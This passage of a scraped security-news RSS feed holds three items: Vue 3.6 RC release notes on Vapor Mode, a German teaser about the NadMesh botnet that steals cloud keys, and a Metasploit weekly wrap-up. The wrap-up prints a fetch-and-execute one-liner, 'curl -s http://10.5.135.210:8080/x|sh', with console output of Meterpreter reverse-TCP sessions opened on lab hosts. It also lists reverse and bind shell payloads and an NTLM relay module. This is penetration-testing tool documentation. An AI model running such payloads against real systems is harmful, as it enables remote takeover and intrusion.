For more details about Vapor Mode, se...]]></description>
<link>https://tsecurity.de/de/3677302/downloads/v360-rc1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677302/downloads/v360-rc1/</guid>
<pubDate>Sat, 18 Jul 2026 03:16:24 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Vue 3.6 is now entering the RC phase as we have completed the intended feature set for Vapor Mode.</p>
<p>3.6 also includes a major refactor of <code>@vue/reactivity</code> based on <a href="https://github.com/stackblitz/alien-signals">alien-signals</a>, which significantly improves the reactivity system's performance and memory usage.</p>
<p>For more details about Vapor Mode, see the <a href="https://github.com/vuejs/core/releases/tag/v3.6.0-rc.1#about-vapor-mode">About Vapor Mode</a> section later in this release note.</p>
<h3>Bug Fixes</h3>
<ul>
<li><strong>hydration:</strong> avoid resolving inherited fallback in forwarded slots (<a href="https://github.com/vuejs/core/commit/4c215b5bd293e18f3a4c62b627a7696016afb982">4c215b5</a>)</li>
<li><strong>hydration:</strong> remove adopted SSR DOM for unresolved async setup (<a href="https://github.com/vuejs/core/commit/3859af4066edeba647e886decb9b4737d7f371cc">3859af4</a>)</li>
<li><strong>runtime-vapor:</strong> avoid patching invalid VNode slot content (<a href="https://github.com/vuejs/core/commit/25f5a8ae6ed3df9c4e3fbaed0da32ce0466c5612">25f5a8a</a>)</li>
<li><strong>runtime-vapor:</strong> clean up detached slot branches (<a href="https://github.com/vuejs/core/commit/b41009d41b21c98174b214eebd271d456215d177">b41009d</a>)</li>
<li><strong>runtime-vapor:</strong> defer slot content anchors during hydration (<a href="https://github.com/vuejs/core/commit/9b9e4bd6efdbce7de258d27e88155bff657d6ae9">9b9e4bd</a>)</li>
<li><strong>runtime-vapor:</strong> preserve outer pending slot anchors (<a href="https://github.com/vuejs/core/commit/4af4bf92a46426631ed6323e542227855b2fc86f">4af4bf9</a>)</li>
<li><strong>runtime-vapor:</strong> preserve slot content anchors during mismatch recovery (<a href="https://github.com/vuejs/core/commit/26f90b58977ee84569b5599700dbe9e864c880a4">26f90b5</a>)</li>
<li><strong>runtime-vapor:</strong> preserve v-show transition on vdom child (<a href="https://github.com/vuejs/core/issues/15074" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15074/hovercard">#15074</a>) (<a href="https://github.com/vuejs/core/commit/fe882c93bb3ec37772126de1cb5c646edb56ace4">fe882c9</a>), closes <a href="https://github.com/vuejs/core/issues/15073" data-hovercard-type="issue" data-hovercard-url="/vuejs/core/issues/15073/hovercard">#15073</a></li>
<li><strong>runtime-vapor:</strong> preserve vapor slot owner during interop slot dry run (<a href="https://github.com/vuejs/core/issues/15031" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15031/hovercard">#15031</a>) (<a href="https://github.com/vuejs/core/commit/340630ea37388e12f176a11cadcbdfe8e55e5912">340630e</a>)</li>
<li><strong>runtime-vapor:</strong> preserve VNode anchors in dynamic component hydration (<a href="https://github.com/vuejs/core/commit/898e2ca2441ea3ac064f3b38db47a0aa1b7a556d">898e2ca</a>)</li>
<li><strong>runtime-vapor:</strong> remove unsafe slot dry runs from vdom interop (<a href="https://github.com/vuejs/core/issues/15089" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15089/hovercard">#15089</a>) (<a href="https://github.com/vuejs/core/commit/3d42cdf380b23da000de0ff9d6c3de5d77e0b0d1">3d42cdf</a>), closes <a href="https://github.com/vuejs/core/issues/14793" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/14793/hovercard">#14793</a></li>
<li><strong>runtime-vapor:</strong> reuse hydration anchor candidates (<a href="https://github.com/vuejs/core/commit/06778e705aa87e35f6058c575c562c355a365523">06778e7</a>)</li>
<li><strong>vapor:</strong> handle v-if and v-show on transition roots (<a href="https://github.com/vuejs/core/issues/15069" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15069/hovercard">#15069</a>) (<a href="https://github.com/vuejs/core/commit/8f62f2e57519dcb80c9b3b42588c77ee6d2b0a2f">8f62f2e</a>), closes <a href="https://github.com/vuejs/core/issues/15068" data-hovercard-type="issue" data-hovercard-url="/vuejs/core/issues/15068/hovercard">#15068</a></li>
</ul>
<h2>About Vapor Mode</h2>
<p>Vapor Mode is a new compilation mode for Vue Single-File Components (SFCs) with the goal of reducing baseline bundle size and improving performance.</p>
<p>It is 100% opt-in and supports a subset of existing Vue APIs with mostly identical behavior. Features that depend on VNodes or the component public instance proxy are not available in Vapor components.</p>
<p>Vapor Mode has demonstrated the same level of performance as Solid and Svelte 5 in <a href="https://github.com/krausest/js-framework-benchmark">third-party benchmarks</a>.</p>
<h3>General Stability Notes</h3>
<p>Vapor Mode is feature-complete in Vue 3.6 RC. For now, we recommend using it in the following cases:</p>
<ul>
<li>Partial usage in existing apps, such as implementing a performance-sensitive page in Vapor Mode.</li>
<li>Building small new apps entirely in Vapor Mode.</li>
</ul>
<h2>Opting In to Vapor Mode</h2>
<p>Vapor Mode supports template-only SFCs and SFCs using <code>&lt;script setup&gt;</code>; the Options API is not supported. The following forms are supported:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;script setup vapor&gt;
// ...
&lt;/script&gt;"><pre>&lt;<span class="pl-ent">script</span> setup vapor&gt;<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-c"><span class="pl-c">//</span> ...</span></span>
<span class="pl-s1"></span>&lt;/<span class="pl-ent">script</span>&gt;</pre></div>
<p><code>&lt;script vapor&gt;</code> is shorthand for <code>&lt;script setup vapor&gt;</code>:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;script vapor&gt;
// ...
&lt;/script&gt;"><pre>&lt;<span class="pl-ent">script</span> vapor&gt;<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-c"><span class="pl-c">//</span> ...</span></span>
<span class="pl-s1"></span>&lt;/<span class="pl-ent">script</span>&gt;</pre></div>
<p>The <code>vapor</code> marker can also be placed on the template, enabling Vapor compilation for the entire SFC:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;template vapor&gt;
  <!-- ... -->
&lt;/template&gt;"><pre>&lt;<span class="pl-ent">template</span> vapor&gt;
  <span class="pl-c"><span class="pl-c">&lt;!--</span> ... <span class="pl-c">--&gt;</span></span>
&lt;/<span class="pl-ent">template</span>&gt;</pre></div>
<h2>Creating an App and Using VDOM Interop</h2>
<h3>Pure Vapor Applications</h3>
<p>Applications composed entirely of Vapor components can use <code>createVaporApp()</code>:</p>
<div class="highlight highlight-source-js notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="import { createVaporApp } from 'vue'
import App from './App.vue'

createVaporApp(App).mount('#app')"><pre><span class="pl-k">import</span> <span class="pl-kos">{</span> <span class="pl-s1">createVaporApp</span> <span class="pl-kos">}</span> <span class="pl-k">from</span> <span class="pl-s">'vue'</span>
<span class="pl-k">import</span> <span class="pl-v">App</span> <span class="pl-k">from</span> <span class="pl-s">'./App.vue'</span>

<span class="pl-en">createVaporApp</span><span class="pl-kos">(</span><span class="pl-v">App</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">mount</span><span class="pl-kos">(</span><span class="pl-s">'#app'</span><span class="pl-kos">)</span></pre></div>
<p>Apps created this way avoid pulling in the Virtual DOM runtime code and allow the baseline bundle size to be drastically reduced.</p>
<h3>Enabling VDOM Interop</h3>
<p>To use Vapor components in a VDOM app instance created via <code>createApp()</code>, the <code>vaporInteropPlugin</code> must be installed:</p>
<div class="highlight highlight-source-js notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="import { createApp, vaporInteropPlugin } from 'vue'
import App from './App.vue'

createApp(App).use(vaporInteropPlugin).mount('#app')"><pre><span class="pl-k">import</span> <span class="pl-kos">{</span> <span class="pl-s1">createApp</span><span class="pl-kos">,</span> <span class="pl-s1">vaporInteropPlugin</span> <span class="pl-kos">}</span> <span class="pl-k">from</span> <span class="pl-s">'vue'</span>
<span class="pl-k">import</span> <span class="pl-v">App</span> <span class="pl-k">from</span> <span class="pl-s">'./App.vue'</span>

<span class="pl-en">createApp</span><span class="pl-kos">(</span><span class="pl-v">App</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">use</span><span class="pl-kos">(</span><span class="pl-s1">vaporInteropPlugin</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">mount</span><span class="pl-kos">(</span><span class="pl-s">'#app'</span><span class="pl-kos">)</span></pre></div>
<p>A Vapor app instance can also install <code>vaporInteropPlugin</code> to allow VDOM components to be used inside, but this pulls in the VDOM runtime and offsets the benefits of a smaller bundle.</p>
<p>Components authored with render functions or JSX remain VDOM components and also require interop when used in a Vapor application.</p>
<p>When the interop plugin is installed, Vapor and non-Vapor components can be nested inside each other. This currently covers standard props, events, and slots usage, but does not yet account for all possible edge cases. For example, there may still be rough edges when using a VDOM-based component library in Vapor Mode.</p>
<p>In general, we recommend having distinct regions in an app where one rendering mode or the other is used, and avoiding mixed nesting as much as possible.</p>
<h2>Feature Compatibility</h2>
<p>By design, Vapor Mode supports a subset of existing Vue features. For the supported subset, we aim to deliver the same behavior according to the API specifications. The following features are currently unsupported or do not apply to Vapor Mode:</p>
<ul>
<li>Options API</li>
<li><code>app.config.globalProperties</code></li>
<li><code>getCurrentInstance()</code> returns <code>null</code> in Vapor components</li>
<li><code>@vue:xxx</code> per-element lifecycle events</li>
<li><code>v-memo</code></li>
<li>Component template refs do not expose properties such as <code>$el</code>, <code>$props</code>, <code>$attrs</code>, <code>$slots</code>, and <code>$refs</code></li>
</ul>
<h2>Important Usage Considerations</h2>
<h3>Event Delegation and <code>stopPropagation()</code></h3>
<p>Vapor delegates eligible events to <code>document</code>. Each element stores its own handler, and a single document listener walks the event path and invokes matching handlers.</p>
<p>If any ancestor calls <code>stopPropagation()</code>, the event never reaches <code>document</code>, and the delegated handler will not run.</p>
<p>The following forms bypass delegation and attach the listener directly to the element:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content='&lt;button @[event]="onClick" /&gt;
&lt;button v-bind="{ onClick }" /&gt;
&lt;button v-on="{ click: onClick }" /&gt;'><pre>&lt;<span class="pl-ent">button</span> @[<span class="pl-s1"><span class="pl-c1">event</span></span>]=<span class="pl-pds">"</span><span class="pl-s1"><span class="pl-smi">onClick</span></span><span class="pl-pds">"</span> /&gt;
&lt;<span class="pl-ent">button</span> <span class="pl-e">v-bind</span>=<span class="pl-pds">"</span><span class="pl-s1">{ <span class="pl-smi">onClick</span> }</span><span class="pl-pds">"</span> /&gt;
&lt;<span class="pl-ent">button</span> <span class="pl-e">v-on</span>=<span class="pl-pds">"</span><span class="pl-s1">{ click: <span class="pl-smi">onClick</span> }</span><span class="pl-pds">"</span> /&gt;</pre></div>
<h3><code>slots.default()</code> Is Not a Safe Dry Run</h3>
<p>In Vapor, <code>slots.default()</code> is not a side-effect-free inspection API. Calling it executes the slot's rendering logic, which may create Blocks and DOM nodes, register reactive effects, and claim existing SSR DOM during hydration.</p>
<p>Do not call a slot to inspect its output before deciding what else to render:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;script setup vapor&gt;
import { useSlots } from 'vue'

const slots = useSlots()
const content = slots.default?.()
const showFallback = !content
&lt;/script&gt;

&lt;template&gt;
  &lt;div v-if=&quot;showFallback&quot;&gt;Fallback&lt;/div&gt;
&lt;/template&gt;"><pre>&lt;<span class="pl-ent">script</span> setup vapor&gt;<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-k">import</span> { <span class="pl-smi">useSlots</span> } <span class="pl-k">from</span> <span class="pl-s"><span class="pl-pds">'</span>vue<span class="pl-pds">'</span></span></span>
<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-k">const</span> <span class="pl-c1">slots</span> <span class="pl-k">=</span> <span class="pl-en">useSlots</span>()</span>
<span class="pl-s1"><span class="pl-k">const</span> <span class="pl-c1">content</span> <span class="pl-k">=</span> <span class="pl-smi">slots</span>.<span class="pl-smi">default</span><span class="pl-k">?</span>.()</span>
<span class="pl-s1"><span class="pl-k">const</span> <span class="pl-c1">showFallback</span> <span class="pl-k">=</span> <span class="pl-k">!</span>content</span>
<span class="pl-s1"><span class="pl-k">&lt;</span><span class="pl-k">/</span>script<span class="pl-k">&gt;</span></span>
<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-k">&lt;</span>template<span class="pl-k">&gt;</span></span>
<span class="pl-s1">  <span class="pl-k">&lt;</span>div v<span class="pl-k">-</span><span class="pl-k">if</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>showFallback<span class="pl-pds">"</span></span><span class="pl-k">&gt;</span>Fallback<span class="pl-k">&lt;</span><span class="pl-k">/</span>div<span class="pl-k">&gt;</span></span>
<span class="pl-s1"><span class="pl-k">&lt;</span><span class="pl-k">/</span>template<span class="pl-k">&gt;</span></span></pre></div>
<p>Instead, leave slot rendering to the template:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;template&gt;
  &lt;slot /&gt;
&lt;/template&gt;"><pre>&lt;<span class="pl-ent">template</span>&gt;
  &lt;<span class="pl-ent">slot</span> /&gt;
&lt;/<span class="pl-ent">template</span>&gt;</pre></div>
<h3>Custom Directives Use a Different Interface</h3>
<p>Custom directives in Vapor also have a different interface:</p>
<div class="highlight highlight-source-ts notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="type VaporDirective = (
  node: Element | VaporComponentInstance,
  value?: () =&gt; any,
  argument?: string,
  modifiers?: DirectiveModifiers,
) =&gt; (() =&gt; void) | void"><pre><span class="pl-k">type</span> <span class="pl-smi">VaporDirective</span> <span class="pl-c1">=</span> <span class="pl-kos">(</span>
  <span class="pl-s1">node</span>: <span class="pl-smi">Element</span> <span class="pl-c1">|</span> <span class="pl-smi">VaporComponentInstance</span><span class="pl-kos">,</span>
  <span class="pl-s1">value</span>?: <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">any</span><span class="pl-kos">,</span>
  <span class="pl-s1">argument</span>?: <span class="pl-smi">string</span><span class="pl-kos">,</span>
  <span class="pl-s1">modifiers</span>?: <span class="pl-smi">DirectiveModifiers</span><span class="pl-kos">,</span>
<span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi"><span class="pl-k">void</span></span><span class="pl-kos">)</span> <span class="pl-c1">|</span> <span class="pl-smi"><span class="pl-k">void</span></span></pre></div>
<p><code>value</code> is a reactive getter that returns the binding value. Reactive effects can be set up using <code>watchEffect()</code> and are automatically released when the component unmounts. A directive may also return a cleanup function:</p>
<div class="highlight highlight-source-ts notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="const MyDirective = (el, source) =&gt; {
  watchEffect(() =&gt; {
    el.textContent = source()
  })
  return () =&gt; console.log('cleanup')
}"><pre><span class="pl-k">const</span> <span class="pl-v">MyDirective</span> <span class="pl-c1">=</span> <span class="pl-kos">(</span><span class="pl-s1">el</span><span class="pl-kos">,</span> <span class="pl-s1">source</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
  <span class="pl-en">watchEffect</span><span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
    <span class="pl-s1">el</span><span class="pl-kos">.</span><span class="pl-c1">textContent</span> <span class="pl-c1">=</span> <span class="pl-en">source</span><span class="pl-kos">(</span><span class="pl-kos">)</span>
  <span class="pl-kos">}</span><span class="pl-kos">)</span>
  <span class="pl-k">return</span> <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'cleanup'</span><span class="pl-kos">)</span>
<span class="pl-kos">}</span></pre></div>
<h2>Behavior Consistency</h2>
<p>Vapor Mode attempts to match VDOM Mode behavior as much as possible, but minor inconsistencies may still exist in edge cases because the two rendering modes are fundamentally different. In general, a minor inconsistency is not considered a breaking change unless the behavior has previously been documented.</p>
<p>For stable releases, please refer to <a href="https://github.com/vuejs/core/blob/main/CHANGELOG.md">CHANGELOG.md</a> for details.<br>
For pre-releases, please refer to <a href="https://github.com/vuejs/core/blob/minor/CHANGELOG.md">CHANGELOG.md</a> of the <code>minor</code> branch.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[NadMesh: Botnet jagt KI-Services nach Cloud-Keys und Kubernetes-Tokens]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Ein Go-Botnet namens NadMesh scannt gezielt exponierte KI-Dienste und versucht, über offene Schnittstellen an Cloud-Keys sowie Kubernetes-Token zu gelangen. Die Auswertung eines QiAnXin-XLab-Reports zeigt zahlreiche Inkonsistenzen in den eigenen Operator-Statistiken, aber k...]]></description>
<link>https://tsecurity.de/de/3676946/it-security-nachrichten/nadmesh-botnet-jagt-ki-services-nach-cloud-keys-und-kubernetes-tokens/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676946/it-security-nachrichten/nadmesh-botnet-jagt-ki-services-nach-cloud-keys-und-kubernetes-tokens/</guid>
<pubDate>Fri, 17 Jul 2026 22:08:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-nadmesh-mcp-kubernetes-keys-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Ein Go-Botnet namens NadMesh scannt gezielt exponierte KI-Dienste und versucht, über offene Schnittstellen an Cloud-Keys sowie Kubernetes-Token zu gelangen. Die Auswertung eines QiAnXin-XLab-Reports zeigt zahlreiche Inkonsistenzen in den eigenen Operator-Statistiken, aber klare Hinweise auf echte Ausnutzung. Besonders betroffen sind Faktoren, die Unternehmen oft zu spät absichern: öffentliche Docker-APIs, Jenkins-Schnittstellen und ungeschützte […]</p>
<div><a href="https://www.it-boltwise.de/nadmesh-botnet-jagt-ki-services-nach-cloud-keys-und-kubernetes-tokens.html">... den vollständigen Artikel <strong>»NadMesh: Botnet jagt KI-Services nach Cloud-Keys und Kubernetes-Tokens«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/nadmesh-botnet-jagt-ki-services-nach-cloud-keys-und-kubernetes-tokens.html">NadMesh: Botnet jagt KI-Services nach Cloud-Keys und Kubernetes-Tokens</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Metasploit Wrap Up: An HTTP to SMB relay plus Payload Improvements]]></title>
<description><![CDATA[Metasploit Wrap Up HousekeepingWhile the Metasploit Framework will be continuing its weekly release cadence, bringing you dear reader our latest content, the Weekly Wrap Up is being shifted to a bi-weekly cadence. The team is planning to use the additional time between posts to record demos of so...]]></description>
<link>https://tsecurity.de/de/3676924/it-security-nachrichten/metasploit-wrap-up-an-http-to-smb-relay-plus-payload-improvements/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676924/it-security-nachrichten/metasploit-wrap-up-an-http-to-smb-relay-plus-payload-improvements/</guid>
<pubDate>Fri, 17 Jul 2026 21:52:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Metasploit Wrap Up Housekeeping</h2><p>While the Metasploit Framework will be continuing its weekly release cadence, bringing you dear reader our latest content, the Weekly Wrap Up is being shifted to a bi-weekly cadence. The team is planning to use the additional time between posts to record demos of some of the more exciting content. Stay tuned for the next generation of Metasploit Wrap Ups and be sure to subscribe to the <a href="https://www.rapid7.com/blog/tag/metasploit/rss/">RSS Feed</a> to be alerted when new blogs are released.</p><h2>Fetch Multi: Just Fetch and Forget?</h2><p>Our very own <a href="https://github.com/bwatters-r7">bwatters-r7</a> continued to enhance our Fetch Payloads implementation. This time adding a new Linux Fetch Multi payload family that supports on-the-fly Linux architecture identification. Standard Fetch payloads produce a command that will download and execute a specific binary payload on a target, but the new Linux Fetch Multi family will report the architecture of the target host when it requests the payload, and the handler will automatically serve the correct elf architecture payload for the given target. It means that if a user is exploiting a Linux host, they do not need to guess the target’s architecture when selecting a payload. It also means that one payload and one handler can serve across multiple targets of differing architectures. Since these payloads work by adding a query string, only HTTP and HTTPS-based fetch payloads support Fetch Multi payloads.</p><p>Here is an example of the same payload and handler identifying and delivering the proper elf architecture payloads to a mipsel host, a mips64 host, and an aarch64 host by just executing the command <span data-type="inlineCode">curl -s http://10.5.135.210:8080/x|sh</span> on each target.</p><p></p><pre>msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; show options
Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):
   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP,
                                               WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous
                                              handles, requires Linux ≥3.17 (for Python variant also Python ≥3
                                              .8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+
                                              , shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH   x                no        Local URI to use for serving payload
   LHOST           10.5.135.210     yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port
   When FETCH_COMMAND is one of CURL,GET,WGET:
   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  true             yes       Host both the binary payload and the command so it can be piped dire
                                          ctly to the shell.
   When FETCH_FILELESS is none:
   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      cldOGvRDplZ      no        Name to use on remote system when storing payload; cannot co
                                                  ntain spaces or slashes
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces
View the full module info with the info, or info -d command.
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 10.5.135.210:8080
[*] HTTP server started
[*] Adding resource /csmCra8lnQTHxFXkipQC0w
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.210:4444 
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; [*] Client 10.5.132.212 requested /x
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for armle arch
[*] Meterpreter session 1 opened (10.5.135.210:4444 -&gt; 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for aarch64 arch
[*] Meterpreter session 2 opened (10.5.135.210:4444 -&gt; 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500
[*] Client 10.5.132.224 requested /x
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for mips64 arch
[*] Meterpreter session 3 opened (10.5.135.210:4444 -&gt; 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt; sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple   : armv5l-linux-musleabi
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer     : kali-raspberrypi
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : cmd/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224)
Computer     : ubnt
OS           : Debian 9.13 (Linux 4.9.79-UBNT)
Architecture : mips64
BuildTuple   : mips64-linux-muslsf
Meterpreter  : cmd/linux
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) &gt;</pre><h2>RISC architecture is going to change everything!</h2><p>Speaking of juggling multiple architectures, <a href="https://github.com/bcoles">bcoles</a> added support for yet another IoT arch: RiscV. The change adds staged and stageless shell payloads for both 32- and 64-bit RiscV systems, and dovetails well with his other PR adding XOR encoders for RiscV payloads.</p><h2>New module content (4)</h2><h3>Microsoft Windows HTTP to SMB Relay</h3><p>Author: jheysel-r7</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21620">#21620</a> contributed by <a href="https://github.com/jheysel-r7">jheysel-r7</a></p><p>Path: server/relay/http_to_smb</p><p>Description: Adds an HTTP to SMB Relay server module allowing users to relay an incoming NTLM HTTP authentication request to multiple SMB servers in order to establish SMB session on the target hosts to be used by the framework.</p><h3>Byte XORi Encoder</h3><p>Author: bcoles <a href="mailto:bcoles@gmail.com">bcoles@gmail.com</a></p><p>Type: Encoder</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21235">#21235</a> contributed by <a href="https://github.com/bcoles">bcoles</a></p><p>Path: riscv32le/byte_xori</p><p>Description: Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.</p><h3>FTP, HTTP, HTTPS and METERPRETER_REVERSE_TCP Fetch, Linux Chmod</h3><p>Authors: Brendan Watters, Spencer McIntyre, and bcoles <a href="mailto:bcoles@gmail.com">bcoles@gmail.com</a></p><p>Type: Payload (Adapter)</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21384">#21384</a> contributed by <a href="https://github.com/bwatters-r7">bwatters-r7</a></p><p>Description: Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.</p><p>This adapter adds 421 new payloads for all Linux and Windows architectures including:</p><ul><li>cmd/linux/ftp/aarch64/chmod</li><li>cmd/linux/ftp/x86/meterpreter/reverse_tcp</li><li>cmd/windows/ftp/aarch64/meterpreter_reverse_http</li></ul><h3>FTP Fetch, Linux dup2 Command Shell, Bind TCP Stager</h3><p>Authors: Brendan Watters, Spencer McIntyre, and bcoles <a href="mailto:bcoles@gmail.com">bcoles@gmail.com</a></p><p>Type: Payload (Stager)</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21237">#21237</a> contributed by <a href="https://github.com/bcoles">bcoles</a></p><p>Description: Adds reverse_tcp and bind_tcp stagers and a shell command stage for both RISC-V 64-bit and 32-bit little-endian Linux targets.</p><ul><li>cmd/linux/ftp/riscv32le/shell/bind_tcp</li><li>cmd/linux/http/riscv32le/shell/bind_tcp</li><li>cmd/linux/https/riscv32le/shell/bind_tcp</li><li>cmd/linux/tftp/riscv32le/shell/bind_tcp</li><li>linux/riscv32le/shell/bind_tcp</li><li>cmd/linux/ftp/riscv32le/shell/reverse_tcp</li><li>cmd/linux/http/riscv32le/shell/reverse_tcp</li><li>cmd/linux/https/riscv32le/shell/reverse_tcp</li><li>cmd/linux/tftp/riscv32le/shell/reverse_tcp</li><li>linux/riscv32le/shell/reverse_tcp</li><li>cmd/linux/ftp/riscv64le/shell/bind_tcp</li><li>cmd/linux/http/riscv64le/shell/bind_tcp</li><li>cmd/linux/https/riscv64le/shell/bind_tcp</li><li>cmd/linux/tftp/riscv64le/shell/bind_tcp</li><li>linux/riscv64le/shell/bind_tcp</li><li>cmd/linux/ftp/riscv64le/shell/reverse_tcp</li><li>cmd/linux/http/riscv64le/shell/reverse_tcp</li><li>cmd/linux/https/riscv64le/shell/reverse_tcp</li><li>cmd/linux/tftp/riscv64le/shell/reverse_tcp</li><li>linux/riscv64le/shell/reverse_tcp</li></ul><h2>Enhancements and features (4)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21235">#21235</a> from 